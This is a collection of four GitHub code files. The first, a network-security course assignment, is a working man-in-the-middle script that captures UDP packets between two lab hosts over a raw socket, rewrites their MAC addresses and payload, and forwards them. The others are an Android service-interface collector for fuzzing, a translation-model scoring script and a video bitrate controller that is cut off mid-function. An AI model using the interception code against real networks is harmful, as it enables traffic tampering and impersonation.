{"seq_id":"21645957545","text":"#!/usr/bin/env python3\n\nimport socket\nimport struct\n\n\nHOST1_MAC = '00:0f:c9:0c:f7:8c'\nHOST1_IP = '192.168.84.64'\nHOST2_MAC = '00:0f:c9:0c:ee:ed'\nHOST2_MAC_BYTES = [0x00, 0x0f, 0xc9, 0x0c, 0xee, 0xed]\nHOST2_IP = '192.168.84.44'\nMY_MAC = '3c:a9:f4:47:eb:c8'\nMY_MAC_BYTES = [0x3c, 0xa9, 0xf4, 0x47, 0xeb, 0xc8]\nMY_INTERFACE = 'wlo1'\nSN1 = 's1010048XXXX'\nSN2 = 's1013414YYYY'\n\n\ndef parse_ethernet(packet):\n    (dest1, dest2, source1, source2, type_code) = struct.unpack('!IHHIH', packet[:14])\n    data = packet[14:]\n\n    if type_code == 0x8100:\n        type_code = struct.unpack_from('!H', packet, 16)\n        data = packet[18:]\n\n    dest = (dest1 << 16) | dest2\n    source = (source1 << 32) | source2\n    dest_bytes = dest.to_bytes(6, byteorder='big')\n    source_bytes = source.to_bytes(6, byteorder='big')\n    dest_mac = ':'.join('{:02x}'.format(b) for b in dest_bytes)\n    source_mac = ':'.join('{:02x}'.format(b) for b in source_bytes)\n\n    return data, dest_mac, source_mac, type_code\n\n\ndef parse_ip(packet):\n    header_length = (packet[0] & 0x0f) * 4\n    header = packet[:header_length]\n    data = packet[header_length:]\n\n    (total_length, protocol, source_address, dest_address) = struct.unpack('!xxHxxxxxBxxII', header[:20])\n\n    return header_length, header, data, total_length, protocol, source_address, dest_address\n\n\ndef parse_udp(packet):\n    header_length = 8\n    header = packet[:header_length]\n    data = packet[header_length:]\n    (source_port, dest_port, data_length, checksum) = struct.unpack('!HHHH', header)\n\n    return source_port, dest_port, data_length, checksum, data\n\n\ndef patch_packet(packet, payload, dest_mac):\n    new_packet = bytearray(packet)\n    payload_offset = len(packet) - len(payload)\n\n    # set dest mac to that of HOST2\n    new_packet[0] = dest_mac[0]\n    new_packet[1] = dest_mac[1]\n    new_packet[2] = dest_mac[2]\n    new_packet[3] = dest_mac[3]\n    new_packet[4] = dest_mac[4]\n    new_packet[5] = dest_mac[5]\n\n    # set source mac to our mac\n    new_packet[6] = MY_MAC_BYTES[0]\n    new_packet[7] = MY_MAC_BYTES[1]\n    new_packet[8] = MY_MAC_BYTES[2]\n    new_packet[9] = MY_MAC_BYTES[3]\n    new_packet[10] = MY_MAC_BYTES[4]\n    new_packet[11] = MY_MAC_BYTES[5]\n\n    # clear udp checksum\n    new_packet[40] = 0\n    new_packet[41] = 0\n\n    # insert student numbers into payload\n    payload_str = payload.decode('utf-8')\n    payload_str = payload_str.replace('XXXXXXXXXXXX', SN1)\n    payload_str = payload_str.replace('YYYYYYYYYYYY', SN2)\n    new_payload = payload_str.encode('utf-8')\n    new_packet[payload_offset:] = new_payload\n\n    return new_packet\n\n\ndef main():\n    # bind to wireless interface\n    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003))\n    s.bind((MY_INTERFACE, 0))\n\n    while True:\n        (packet, address) = s.recvfrom(65565)\n        (ethernet_data, dest_mac, source_mac, type_code) = parse_ethernet(packet)\n\n        if type_code == 0x800 and source_mac == HOST1_MAC and dest_mac == MY_MAC:\n            (ip_header_length, ip_header, ip_data, total_length, protocol, source_address, dest_address) = parse_ip(ethernet_data)\n            source_ip = socket.inet_ntoa(struct.pack('!I', source_address))\n            dest_ip = socket.inet_ntoa(struct.pack('!I', dest_address))\n\n            if protocol == 17 and source_ip == HOST1_IP and dest_ip == HOST2_IP:\n                (source_port, dest_port, data_length, checksum, data) = parse_udp(ip_data)\n\n                # Patch packet and then forward it to HOST2\n                new_packet = patch_packet(packet, data, HOST2_MAC_BYTES)\n                s.send(new_packet)\n\n                print('[*] Forwarded packet from {} ({}) to {} ({})'.format(source_ip, source_mac, dest_ip, HOST2_MAC))\n\nif __name__ == '__main__':\n    main()\n","repo_name":"gixslayer/netsec2018","sub_path":"netsec-assignment2-s1013414-s1010048/exercise4/mitm.py","file_name":"mitm.py","file_ext":"py","file_size_in_byte":3755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"4948051453","text":"# @File  : serviceCollect.py\r\n# @Time  : 2022/10/30 8:37\r\n# @Author: Tr0e\r\n# @Blog  : https://tr0e.github.io/\r\n\r\nimport os\r\nimport time\r\n\r\nimport pandas as pd\r\nfrom colorama import Fore, init\r\n\r\ninit(autoreset=True)\r\nserviceDict = {}  # 用于全局存放所有系统服务的字典（key:value=服务名：aidl文件名）\r\ninterfaceDict = {}  # 用于全局存放所有系统服务接口的字典（key:value=服务名：接口列表）\r\ntransactionDict = {}  # 用于全局存放所有系统服务接口的transaction Code字典的嵌套字典（key:value=服务名：接口与code值字典）\r\n\r\n\r\ndef getServiceList():\r\n    \"\"\"\r\n    生成系统服务、AIDL文件的字典\r\n    :return: null\r\n    \"\"\"\r\n    global serviceDict\r\n    print(Fore.BLUE + \"[*]Start collecting data…\")\r\n    localTxtFile = \"data/serviceList.txt\"\r\n    serviceListCmd = \"adb shell service list >\" + localTxtFile\r\n    os.system(serviceListCmd)\r\n    print(\"[+]successfully save service list to %s.\" % localTxtFile)\r\n    lineNum = 1\r\n    with open(localTxtFile, 'r', encoding='utf-8') as f:\r\n        for line in f.readlines():\r\n            if lineNum == 1:\r\n                lineNum = lineNum + 1\r\n                continue\r\n            else:\r\n                # 提取每行格式为：”2\tnfc: [android.nfc.INfcAdapter]“的服务名”nfc\"和aidl文件名\r\n                serviceName = line.strip('\\n').split(\":\")[0].split(\"\\t\")[1]\r\n                aidlFileName = line.strip('\\n').split(\":\")[1].lstrip(\" \")[1:-1]\r\n                serviceDict[serviceName] = aidlFileName\r\n    print(\"[+]Len of serviceDict：\" + str(len(serviceDict)))\r\n    # print(\"[+]Data of serviceDict：\" + str(serviceDict))\r\n    print(Fore.BLUE + \"[*]successfully collect data.\")\r\n\r\n\r\ndef findAidlPath(filePath, aidlFileName):\r\n    \"\"\"\r\n    查询指定文件夹下的aidl文件的绝对路径（支持目录嵌套）\r\n    :param filePath: 存放了反编译资源的目标文件夹\r\n    :param aidlFileName: aidl文件名称\r\n    :return: 目标aidl文件的路径\r\n    \"\"\"\r\n    for filePath, dirNames, fileNames in os.walk(filePath):\r\n        for filename in fileNames:\r\n            if filename == aidlFileName + \".java\":\r\n                result = os.path.join(filePath, filename)\r\n                # print(Fore.GREEN + \"[+]Path is: %s\" % result)\r\n                return result\r\n\r\n\r\ndef getAidlFile(serviceName, aidlFilePath):\r\n    \"\"\"\r\n    从AIDL文件提取出该服务所有接口的列表\r\n    :param serviceName: 服务名称\r\n    :param aidlFilePath: aidl文件的路径，\r\n    :return: 服务接口列表（含接口名、返回值、参数等）\r\n    \"\"\"\r\n    # 路径如：r\"D:\\tmp\\serviceFuzz\\result\\framework.apk\\sources\\android\\app\\IActivityManager.java\"\r\n    getTransactionDict(serviceName, aidlFilePath)  # 先生成TransactionCode字典\r\n    with open(aidlFilePath, 'r', encoding='utf-8') as f:\r\n        allJava = f.read()\r\n        start = allJava.find('public static class Default implements')\r\n        end = allJava.find('public IBinder asBinder()')\r\n        interfaceInfo = allJava[start:end].replace(\"\\n\\n\", \"\\n\").strip(\"\\n\")\r\n        # print(interfaceInfo)\r\n    interfaceList = interfaceInfo.split(\"\\n\")\r\n    # print(interfaceList)\r\n    # 直接在原列表上使用pop删除会出现各种乱七八糟的错误，故使用新的列表来存储符合要求的原列表元素\r\n    newInterfaceList = []\r\n    for lineData in interfaceList:\r\n        if \"throws RemoteException\" in lineData and \"public\" in lineData:\r\n            lineData = lineData.lstrip(\" \")\r\n            lineData = lineData.replace(\"public\", \"\").lstrip(\" \")\r\n            lineData = lineData.replace(\" throws RemoteException {\", \"\")\r\n            newInterfaceList.append(lineData)\r\n        else:\r\n            continue\r\n    # print(len(newInterfaceList))\r\n    # print(Fore.GREEN + str(newInterfaceList))\r\n    global interfaceDict\r\n    interfaceDict[serviceName] = newInterfaceList\r\n    return newInterfaceList\r\n\r\n\r\ndef getTransactionDict(serviceName, aidlFilePath):\r\n    \"\"\"\r\n    生成所有服务的接口：Code值字典的嵌套字典transactionDict（key:value=服务名：每个服务的所有接口与其对应code值字典）\r\n    :param serviceName: 服务名称\r\n    :param aidlFilePath: aidl文件的路径\r\n    :return: null\r\n    \"\"\"\r\n    with open(aidlFilePath, 'r', encoding='utf-8') as f:\r\n        allJava = f.read()\r\n        start = allJava.find('static final int TRANSACTION')\r\n        end = allJava.find('public Stub() {')\r\n        interfaceInfo = allJava[start: end].replace(\"\\n\\n\", \"\\n\").strip(\"\\n\")\r\n    interfaceList = interfaceInfo.split(\"\\n\")\r\n    interfaceList.pop(len(interfaceList) - 1)\r\n    CodeDict = {}\r\n    for lineData in interfaceList:\r\n        lineData = lineData.lstrip(\" \")\r\n        interfaceName = lineData.split(\"=\")[0][29:-1]\r\n        transactionCode = lineData.split(\"=\")[1].replace(\";\", \"\").lstrip(\" \")\r\n        CodeDict[interfaceName] = transactionCode\r\n    global transactionDict\r\n    transactionDict[serviceName] = CodeDict\r\n    # print(transactionDict)\r\n\r\n\r\ndef writeDataToXlsx(xlsxPath):\r\n    \"\"\"\r\n    将数据转换成xlsx格式的表格\r\n    :param xlsxPath: 输出的xlsx文件路径\r\n    :return: null\r\n    \"\"\"\r\n    dataSource = {}\r\n    dictCol0List = []\r\n    dictCol1List = []\r\n    dictCol2List = []\r\n    dictCol3List = []\r\n    dictCol4List = []\r\n    dictCol5List = []\r\n    global interfaceDict, serviceDict, transactionDict\r\n    # 目标行数据样例：'void addPackageDependency(String str)'\r\n    for service, interfaces in interfaceDict.items():\r\n        if len(interfaces) > 1:\r\n            for interface in interfaces:\r\n                aidlName = interface.split(\"(\")[0].split(\" \")[1]\r\n                try:\r\n                    dictCol0List.append(service)\r\n                    dictCol1List.append(serviceDict[service])\r\n                    dictCol2List.append(transactionDict[service][aidlName])\r\n                    dictCol3List.append(aidlName)\r\n                    dictCol4List.append(interface.split(\"(\")[0].split(\" \")[0])\r\n                    dictCol5List.append(interface.split(\"(\")[1][0:-1])\r\n                except IndexError as e:\r\n                    print(e)\r\n                    continue\r\n    # 设置xlsx表格每列数据的源数据列表\r\n    dataSource[\"ServiceName\"] = dictCol0List\r\n    dataSource[\"AIDLName\"] = dictCol1List\r\n    dataSource[\"TransactionCode\"] = dictCol2List\r\n    dataSource[\"InterfaceName\"] = dictCol3List\r\n    dataSource[\"ReturnType\"] = dictCol4List\r\n    dataSource[\"ParaType\"] = dictCol5List\r\n    # print(dataSource)\r\n    print(Fore.BLUE + \"[*]Start generating xlsx…\")\r\n    writer = pd.ExcelWriter(xlsxPath)\r\n    dataFrame = pd.DataFrame(dataSource)\r\n    dataFrame.to_excel(writer, sheet_name=\"sheet1\")\r\n    writer.close()  # 保存writer中的数据至excel\r\n    print(Fore.BLUE + \"[*]Successfully generated xlsx!\")\r\n\r\n\r\ndef main():\r\n    \"\"\"\r\n    开始生成系统服务统计数据表格\r\n    :return: 生成最终的xlsx数据文档\r\n    \"\"\"\r\n    start = time.time()\r\n    getServiceList()\r\n    num = 1\r\n    successNum = 0\r\n    for key, value in serviceDict.items():\r\n        if value != '' and \"IDevicePolicyManager\" not in value:  # Native类型的Service暂不支持获取AIDL文件\r\n            # print(value)\r\n            path = findAidlPath(r\"D:\\tmp\\serviceFuzz\\result\", value.split(\".\")[-1])\r\n            if path is not None:\r\n                print(\"[%d/%d]正在分析的文件: \" % (num, len(serviceDict)) + path)\r\n                getAidlFile(key, path)\r\n                successNum = successNum + 1\r\n        num = num + 1\r\n    # print(transactionDict)\r\n    print(Fore.BLUE + \"[*]总共成功分析了{0}个服务的AIDL文件!\".format(successNum))\r\n    writeDataToXlsx(\"data/serviceList.xlsx\")\r\n    end = time.time()\r\n    print(Fore.GREEN + \"[*]Done.Totally time is \" + str(end - start) + \"s.Enjoy it!\")\r\n\r\n\r\ndef copyRight():\r\n    print(Fore.GREEN + \"************** CopyRight ****************\")\r\n    print(Fore.GREEN + \"             Welcome to use               \")\r\n    print(Fore.GREEN + \"     Author: Tr0e                         \")\r\n    print(Fore.GREEN + \"     Github: https://github.com/Tr0e      \")\r\n    print(Fore.GREEN + \"     Blog  : https://tr0e.github.io       \")\r\n    print(Fore.GREEN + \"*****************************************\")\r\n\r\n\r\nif __name__ == '__main__':\r\n    copyRight()\r\n    main()\r\n    exit(0)\r\n","repo_name":"Tr0e/MyTools","sub_path":"serviceCollect.py","file_name":"serviceCollect.py","file_ext":"py","file_size_in_byte":8367,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"38"}
{"seq_id":"70479656751","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport re\n\nimport argparse\nimport tensorflow as tf\n\nfrom models import utils, modeling\n\n\ndef parse_args():\n  parser = argparse.ArgumentParser(description=\"Scoring with NMT\")\n\n  ## Required parameters\n  parser.add_argument(\"--nmt_config_file\", type=str, required=True)\n  parser.add_argument(\"--source_input_file\", type=str, required=True)\n  parser.add_argument(\"--target_input_file\", type=str, required=True)\n  parser.add_argument(\"--score_output_file\", type=str, required=True)\n  parser.add_argument(\"--vocab_file\", type=str, required=True)\n  parser.add_argument(\"--init_checkpoint\", type=str, required=True)\n\n  ## Other parameters\n  parser.add_argument(\"--max_seq_length\", default=256, type=int)\n  parser.add_argument(\"--decode_alpha\", default=1.0, type=float)\n  parser.add_argument(\"--decode_length\", default=20, type=int)\n  parser.add_argument(\"--decode_batch_size\", default=32, type=int)\n\n  ## TPU parameters\n  parser.add_argument(\"--use_tpu\", default=False, type=bool)\n  parser.add_argument(\"--tpu_name\", default=None, type=str)\n\n  return parser.parse_args()\n\n\ndef get_evaluation_input(source_inputs,\n                         target_inputs,\n                         vocabulary,\n                         max_seq_length,\n                         decode_length,\n                         decode_batch_size=32,\n                         num_cpu_threads=2,\n                         eos=\"<EOS>\",\n                         unkId=1):\n  source_dataset = tf.data.Dataset.from_tensor_slices(tf.constant(source_inputs))\n  target_dataset = tf.data.Dataset.from_tensor_slices(tf.constant(target_inputs))\n\n  dataset = tf.data.Dataset.zip((source_dataset, target_dataset))\n\n  dataset = dataset.map(\n      lambda src, tgt: (\n          tf.string_split([src]).values[:max_seq_length - 1],\n          tf.string_split([tgt]).values[:max_seq_length - 1],\n      ),\n      num_parallel_calls=num_cpu_threads\n  )\n\n  dataset = dataset.map(\n      lambda src, tgt: (\n          tf.concat([src, [tf.constant(eos)]], axis=0),\n          tf.concat([tgt, [tf.constant(eos)]], axis=0),\n      ),\n      num_parallel_calls=num_cpu_threads\n  )\n\n  dataset = dataset.map(\n      lambda src, tgt: (\n          src,\n          tf.shape(src),\n          tgt,\n          tf.shape(tgt),\n      ),\n      num_parallel_calls=num_cpu_threads\n  )\n\n  dataset = dataset.padded_batch(\n      batch_size=decode_batch_size,\n      padded_shapes=(max_seq_length, 1, max_seq_length, 1),\n      # padded_shapes=(tf.Dimension(None), 1),\n      padding_values=(eos, 0, eos, 0))\n\n  dataset = dataset.map(\n      lambda src, src_len, tgt, tgt_len: {\n          \"source\": src,\n          \"source_length\": tf.squeeze(src_len, 1),\n          \"target\": tgt,\n          \"target_length\": tf.squeeze(tgt_len, 1),\n      },\n      num_parallel_calls=num_cpu_threads\n  )\n\n  iterator = dataset.make_one_shot_iterator()\n  features = iterator.get_next()\n\n  src_table = tf.contrib.lookup.index_table_from_tensor(\n      tf.constant(vocabulary),\n      default_value=unkId\n  )\n  features[\"source\"] = src_table.lookup(features[\"source\"])\n  features[\"target\"] = src_table.lookup(features[\"target\"])\n\n  return features\n\n\ndef make_vocab(vocab_file):\n  vocab = []\n\n  vocab.append(\"<PAD>\")\n  vocab.append(\"<EOS>\")\n  vocab.append(\"<UNK>\")\n  vocab.append(\"<BOS>\")\n\n  with tf.gfile.Open(vocab_file, \"r\") as fin:\n    lines = fin.readlines()\n\n  for line in lines:\n    word, freq = line.strip().split()\n    if int(freq) >= 5:\n      vocab.append(word)\n\n  tf.logging.info(\"Vocabulary size: %d\" % (len(vocab)))\n\n  return vocab\n\n\ndef main(args):\n  args.init_checkpoint = args.init_checkpoint.split(',')\n  tf.logging.set_verbosity(tf.logging.INFO)\n\n  vocabulary = make_vocab(args.vocab_file)\n\n  nmt_config = modeling.NmtConfig.from_json_file(args.nmt_config_file)\n\n  tf.logging.info(\"Checkpoint Vocab Size: %d\", nmt_config.vocab_size)\n  tf.logging.info(\"True Vocab Size: %d\", len(vocabulary))\n\n  assert nmt_config.vocab_size == len(vocabulary)\n\n  vocabulary[nmt_config.padId] = nmt_config.pad.encode()\n  vocabulary[nmt_config.eosId] = nmt_config.eos.encode()\n  vocabulary[nmt_config.unkId] = nmt_config.unk.encode()\n  vocabulary[nmt_config.bosId] = nmt_config.bos.encode()\n\n  # Build Graph\n  with tf.Graph().as_default():\n    # Read input file\n    source_inputs = []\n    with tf.gfile.Open(args.source_input_file) as fd:\n      for line in fd:\n        source_inputs.append(line.strip())\n    target_inputs = []\n    with tf.gfile.Open(args.target_input_file) as fd:\n      for line in fd:\n        target_inputs.append(line.strip())\n\n    true_length = len(source_inputs)\n\n    while len(source_inputs) % args.decode_batch_size != 0:\n      source_inputs.append('<UNK>')\n      target_inputs.append('<UNK>')\n\n    # Build input queue\n    with tf.device('/CPU:0'):\n      features = get_evaluation_input(source_inputs=source_inputs,\n                                      target_inputs=target_inputs,\n                                      vocabulary=vocabulary,\n                                      max_seq_length=args.max_seq_length,\n                                      decode_length=args.decode_length,\n                                      decode_batch_size=args.decode_batch_size,\n                                      eos=nmt_config.eos.encode(),\n                                      unkId=nmt_config.unkId)\n\n    # Create placeholders\n    placeholders = {\n        \"source\": tf.placeholder(tf.int32, [args.decode_batch_size, args.max_seq_length], \"source_0\"),\n        \"source_length\": tf.placeholder(tf.int32, [args.decode_batch_size], \"source_length_0\"),\n        \"target\": tf.placeholder(tf.int32, [args.decode_batch_size, args.max_seq_length], \"target_0\"),\n        \"target_length\": tf.placeholder(tf.int32, [args.decode_batch_size], \"target_length_0\"),\n    }\n\n    model = [modeling.NmtModel(config=nmt_config) for _ in range(len(args.init_checkpoint))]\n    for i, m in enumerate(model):\n      m._scope = m._scope + str(i)\n\n    model_fns = [m.get_evaluation_func() for m in model]\n\n    if args.use_tpu:\n      def computation(source, source_length, target, target_length):\n        placeholders = {\n            \"source\": source,\n            \"source_length\": source_length,\n            \"target\": target,\n            \"target_length\": target_length,\n        }\n        scores = [model_fn(placeholders) for model_fn in model_fns]\n        scores = tf.add_n(scores) / float(len(scores))\n        return scores\n\n      ops = tf.compat.v1.tpu.batch_parallel(computation,\n                                            [placeholders[\"source\"],\n                                             placeholders[\"source_length\"],\n                                             placeholders[\"target\"],\n                                             placeholders[\"target_length\"]],\n                                            num_shards=8)\n    else:\n      scores = [model_fn(placeholders) for model_fn in model_fns]\n      scores = tf.add_n(scores) / float(len(scores))\n      ops = scores\n\n    tvars = tf.trainable_variables()\n    name_to_variable = {}\n    for var in tvars:\n      name = var.name\n      m = re.match(\"^(.*):\\\\d+$\", name)\n      if m is not None:\n        name = m.group(1)\n      name_to_variable[name] = var\n\n    for i, ckpt in enumerate(args.init_checkpoint):\n      init_vars = tf.train.list_variables(ckpt)\n      assignment_map = {}\n      for x in init_vars:\n        (name, var) = (x[0], x[1])\n        m = re.match(\"^Tra\\w*mer\", name)\n        if m is not None:\n          temp = m.group(0)\n          rename = temp + str(i) + name[len(temp):]\n        else:\n          rename = name\n        if rename in name_to_variable:\n          assignment_map[name] = rename\n      tf.train.init_from_checkpoint(ckpt, assignment_map)\n\n    tf.logging.info(\"**** Trainable Variables ****\")\n    total_size = 0\n    for var in tvars:\n      tf.logging.info(\"  name = %s, shape = %s\", var.name, var.shape)\n      total_size += reduce(lambda x, y: x * y, var.get_shape().as_list())\n    tf.logging.info(\"  total variable parameters: %d\", total_size)\n\n    results = []\n\n    target = ''\n    config = None\n    if args.use_tpu:\n      tpu_cluster_resolver = tf.contrib.cluster_resolver.TPUClusterResolver(args.tpu_name)\n      target = tpu_cluster_resolver.get_master()\n    else:\n      config = tf.ConfigProto(allow_soft_placement=True)\n\n    with tf.Session(target=target, config=config) as sess:\n      if args.use_tpu:\n        sess.run(tf.contrib.tpu.initialize_system())\n\n      sess.run(tf.global_variables_initializer())\n      sess.run(tf.tables_initializer())\n      while True:\n        try:\n          feats = sess.run(features)\n          feed_dict = {}\n          for name in feats:\n            feed_dict[placeholders[name]] = feats[name]\n          results.append(sess.run(ops, feed_dict=feed_dict))\n          tf.logging.log(tf.logging.INFO, \"Finished batch %d\" % len(results))\n        except tf.errors.OutOfRangeError:\n          break\n\n      if args.use_tpu:\n        sess.run(tf.contrib.tpu.shutdown_system())\n\n    target_dir, _ = os.path.split(args.score_output_file)\n    tf.gfile.MakeDirs(target_dir)\n\n    outputs = []\n\n    for result in results:\n      for item in result[0]:\n        outputs.append(item)\n\n    with tf.gfile.Open(args.score_output_file, \"w\") as outfile:\n      for output in outputs[:true_length]:\n        outfile.write(\"%f\\n\" % output)\n\n\nif __name__ == \"__main__\":\n  main(parse_args())","repo_name":"Edward-Sun/NAT-EM","sub_path":"Transformer-TPU/score_at.py","file_name":"score_at.py","file_ext":"py","file_size_in_byte":9458,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"38"}
{"seq_id":"39880176191","text":"import tensorflow as tf\r\nimport a3c3 as a3c\r\nimport a3c3_1 as a3c1\r\nimport a3c3_2 as a3c2\r\nimport a3c3_3 as a3c3\r\nimport numpy as np\r\nimport model\r\nimport csv\r\n\r\n\r\nTARGET_BUFFER = [0, 0.04]\r\nS_INFO = 4  #the number of state\r\nS_LEN = 8 #the number of past states\r\nA_DIM = 4\r\nBIT_RATE = [500.0, 850.0, 1200.0, 1850.0]\r\nRAND_RANGE = 1000\r\nACTOR_LR_RATE = 0.0001\r\nCRITIC_LR_RATE = 0.001\r\n\r\n\"\"\"\r\nNN_MODEL = \"./fixed/nn_model_ep_10800.ckpt\" # model path settings\r\nNN_MODEL1 = \"./high/nn_model_ep_40400.ckpt\"\r\nNN_MODEL2 = \"./low/nn_model_ep_5100.ckpt\"\r\nNN_MODEL3 = \"./medium/nn_model_ep_13400.ckpt\"\r\n\"\"\"\r\n\r\n\r\nNN_MODEL = \"./fixed/nn_model_ep_10800.ckpt\" # model path settings\r\nNN_MODEL1 = \"./high/nn_model_ep_40400.ckpt\"\r\nNN_MODEL2 = \"./low/nn_model_ep_5100.ckpt\"\r\nNN_MODEL3 = \"./medium/nn_model_ep_13400.ckpt\"\r\n\r\n\r\nGOP = 50\r\nBW_NORM_FACTOR = 1500.0\r\nBUFFER_NORM_FACTOR = 1.0\r\nFPS = 25\r\nM_IN_K = 1000.0\r\n\r\nthroughput_list_avg = []\r\nframe_count = 0\r\nselect_flag = 0\r\nrecord_flag = 0\r\nframes_size = 0\r\nreceived_time = 0\r\nprevious_time = 0\r\nsaver = tf.train.Saver()\r\ngraph = tf.get_default_graph()\r\n\r\nclass Algorithm:\r\n     def __init__(self):\r\n     # fill your self params\r\n         self.buffer_size = 0\r\n         self.bit_rate = 0\r\n         self.last_bit_rate = 0\r\n\r\n         self.action_vec = np.zeros(A_DIM)\r\n         self.action_vec[self.bit_rate] = 1\r\n         self.s_batch = [np.zeros((S_INFO, S_LEN))]\r\n         self.a_batch = [self.action_vec]\r\n         self.r_batch = []\r\n         self.entropy_record = []\r\n\r\n\r\n     # Intial\r\n     def Initial(self):\r\n     # Initail your session or something\r\n         #with tf.Session() as sess:\r\n         self.sess = tf.Session()\r\n         self.actor = a3c.ActorNetwork(self.sess,\r\n                                       state_dim=[S_INFO, S_LEN], action_dim=A_DIM,\r\n                                       learning_rate=ACTOR_LR_RATE)\r\n\r\n         self.sess.run(tf.global_variables_initializer())\r\n         #saver = tf.train.Saver()  # save neural net parameters\r\n\r\n     # restore neural net parameters\r\n         nn_model = NN_MODEL\r\n         if nn_model is not None:  # nn_model is the path to file\r\n             saver.restore(self.sess, nn_model)\r\n             print(\"Model restored.\")\r\n             #self.critic = a3c.CriticNetwork(sess,\r\n                                         #state_dim=[S_INFO, S_LEN],\r\n                                         #learning_rate=CRITIC_LR_RATE)\r\n\r\n     #Define your al\r\n     def run(self, time, S_time_interval, S_send_data_size, S_chunk_len, S_rebuf, S_buffer_size, S_play_time_len,S_end_delay, S_decision_flag, S_buffer_flag,S_cdn_flag,S_skip_time, end_of_video, cdn_newest_id,download_id,cdn_has_frame,IntialVars):\r\n\r\n         # If you choose the marchine learning\r\n         if len(self.s_batch) == 0:\r\n             state = [np.zeros((S_INFO, S_LEN))]\r\n         else:\r\n             state = np.array(self.s_batch[-1], copy=True)\r\n\r\n             # dequeue history record\r\n         state = np.roll(state, -1, axis=1)\r\n            # this should be S_INFO number of terms\r\n         T_all = float(np.sum(S_time_interval[-51:-1]))\r\n         if T_all > 0:\r\n             num_of_frame = float(GOP / T_all)\r\n         else:\r\n             num_of_frame = 0\r\n         # print 'number of frames:', num_of_frame\r\n         if np.sum(S_time_interval[-51:-1]) > 0:\r\n             throughput = float(np.sum(S_send_data_size[-51:-1])) / float(np.sum(S_time_interval[-51:-1]))\r\n         else:\r\n             throughput = 0\r\n         state[0, -1] = BIT_RATE[self.bit_rate] / float(np.max(BIT_RATE))  # last quality present\r\n         state[1, -1] = num_of_frame / FPS\r\n         state[2, -1] = throughput / M_IN_K / BW_NORM_FACTOR  # kilo byte / ms #history\r\n         state[3, -1] = np.sum(S_rebuf[-51:-1]) / BUFFER_NORM_FACTOR\r\n\r\n         #network_condition = 0\r\n         global frame_count, record_flag, select_flag, frames_size, previous_time\r\n         if abs(time - int(round(time / 0.04)) * 0.04) > 1e-10:\r\n             frame_count += 1\r\n\r\n         #select_flag = time / 20\r\n         if time > 2940.5 or time == 0:\r\n             record_flag = 0\r\n             select_flag = 0\r\n             previous_time = 0\r\n\r\n         print(\"time:\", time)\r\n\r\n         if int(time / 0.5) > record_flag:\r\n             record_flag = time / 0.5\r\n             print(\"record_flag:\", record_flag)\r\n             frames_size = float(np.sum(S_send_data_size[-frame_count:]))\r\n             print(\"frames_size:\", frames_size)\r\n             received_time = float(np.sum(S_time_interval[-frame_count:]))\r\n             print(\"received_time:\", received_time)\r\n             throughput_tmp = float(frames_size) / float(received_time) / 1000000\r\n             throughput_list_avg.append(throughput_tmp)\r\n             previous_time = time\r\n             frame_count = 0\r\n\r\n         \"\"\"\r\n         while 0 in S_send_data_size:\r\n             print(\"S_send_data_size\", S_send_data_size)\r\n             S_send_data_size.remove(0)\r\n         print(\"S_send_data_size\", S_send_data_size)\r\n         while 0 in S_time_interval:\r\n             print(\"S_time_interval\", S_time_interval)\r\n             S_time_interval.remove(0)\r\n         print(\"S_time_interval\", S_time_interval)\r\n         \"\"\"\r\n\r\n         #if len(S_send_data_size) >= 602 and len(S_send_data_size[102:]) % 500 == 0:\r\n         #if frame_count % 500 == 0 and S_time_interval[-501] > 0\r\n         if int(time / 20) > select_flag:\r\n             select_flag = time / 20\r\n             #frame_count = 0\r\n             throughput_list = np.true_divide((np.array(S_send_data_size[-501:-1])).astype(float),\r\n                                              (np.array(S_time_interval[-501:-1])).astype(float))\r\n             throughput_list = [x / y for x in throughput_list for y in [1000000]]\r\n             #print(\"S_send_data_size:\", S_send_data_size[-501:-1])\r\n             #print(\"S_time_interval:\", S_time_interval[-501:-1])\r\n             #print(\"throughput_list:\", throughput_list)\r\n             for i in range(40):\r\n                 if i == 0:\r\n                     start = i * 12 + 1\r\n                     end = start + 12\r\n                 elif i > 0 and i % 2 != 0:\r\n                     start = end + 0\r\n                     end = start + 12\r\n                 elif i > 0 and i % 2 == 0:\r\n                     start = end + 1\r\n                     end = start + 12\r\n\r\n                 #throughput_list_avg.append(float(np.sum(throughput_list[start:end])) / 12.0)\r\n             #print(\"throughput_list_avg:\", throughput_list_avg[-40:])\r\n             network_condition = model.train(throughput_list_avg[-40:])\r\n             with open(\"./train_data.csv\", 'a') as t:\r\n                 writer = csv.writer(t)\r\n                 writer.writerow(throughput_list_avg[-40:])\r\n             print(\"network_condition\", network_condition)\r\n             network_condition = np.argmax(network_condition)\r\n\r\n             if network_condition == 0:\r\n                 nn_model = NN_MODEL\r\n                 #print(\"Model0 restored.\")\r\n             #self.actor = a3c.ActorNetwork(self.sess,\r\n              #                             state_dim=[S_INFO, S_LEN], action_dim=A_DIM,\r\n               #                            learning_rate=ACTOR_LR_RATE)\r\n             elif network_condition == 1:\r\n                 nn_model = NN_MODEL1\r\n                 #print(\"Model1 restored.\")\r\n             #self.actor = a3c.ActorNetwork(self.sess,\r\n              #                             state_dim=[S_INFO, S_LEN], action_dim=A_DIM,\r\n               #                            learning_rate=ACTOR_LR_RATE)\r\n             elif network_condition == 2:\r\n                 nn_model = NN_MODEL2\r\n                 #print(\"Model2 restored.\")\r\n             #self.actor = a3c.ActorNetwork(self.sess,\r\n              #                             state_dim=[S_INFO, S_LEN], action_dim=A_DIM,\r\n               #                            learning_rate=ACTOR_LR_RATE)\r\n             elif network_condition == 3:\r\n                 nn_model = NN_MODEL3\r\n                 #print(\"Model3 restored.\")\r\n             #self.actor = a3c.ActorNetwork(self.sess,\r\n              #                             state_dim=[S_INFO, S_LEN], action_dim=A_DIM,\r\n               #                            learning_rate=ACTOR_LR_RATE)\r\n\r\n             if nn_model is not None:\r\n                 saver.restore(self.sess, nn_model)\r\n                 print(\"NN_MODEL %g restored\" % network_condition)\r\n                 with open(\"./Model_selection.txt\", 'a') as t1:\r\n                     t1.write(\"NN_MODEL %g restored\\n\" % network_condition)\r\n                     t1.close()\r\n\r\n     